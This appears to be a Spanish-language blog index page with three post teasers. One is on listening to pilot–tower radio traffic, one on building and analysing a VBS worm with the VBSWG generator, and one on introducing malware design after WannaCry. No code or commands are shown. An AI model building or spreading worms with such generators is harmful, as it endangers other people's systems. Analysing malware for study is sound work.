Cómo escuchar aviones desde tu teléfono Android

En este pequeño tutorial voy a presentar como escuchar las conversaciones entre los pilotos de algunas aeronaves comerciales y la torre de control.

Nota: Escuchar las conversaciones entre pilotos y la torre de control puede ser ilegal en algunos países. Consulta la legislación vigente en tu país antes de continuar.

Aunque cada día es menos utilizada, la radio, sigue siendo de gran importancia para realizar algunas tareas en diferentes áreas. La aviación no es la excepción, y en esta, se sigue usando la radio como medio de comunicación entre la torre de control y los pilotos.

Sigue leyendo

Creación y Análisis de un Worm VBS creado con VBSWG

En la entrega pasada presenté una pequeña introducción al Malware y enumeré los diversos tipos que existen, ademas de describir a grandes rasgos su funcionamiento.

Para comenzar a entender como trabajar a la hora de diseñar malware, empezaremos analizando una muestra que crearemos nosotros mismos con VBSWG (Visual Basic Script Worm Generator.

EL exe de VBWG y su archivo de ayuda

EL exe de VBSWG y su archivo de ayuda

Sigue leyendo

Introducción al diseño de Malware

En días pasados, con el “boom” de #WannaCry, me puse a recordar cuando hacía mis pruebas de concepto de virus y otro malware. Nunca llegué a hacer una amenaza seria, pero si tengo por lo menos una creación que es reconocida por una compañía Antivirus.

Decidí que #WannaCry era el pretexto ideal para volver a esta asombrosa escena (del malware), sólo que no decidí regresar haciendo nuevas creaciones, más bien, decidí regresar compartiendo lo poco que sé de creación de malware. Sigue leyendo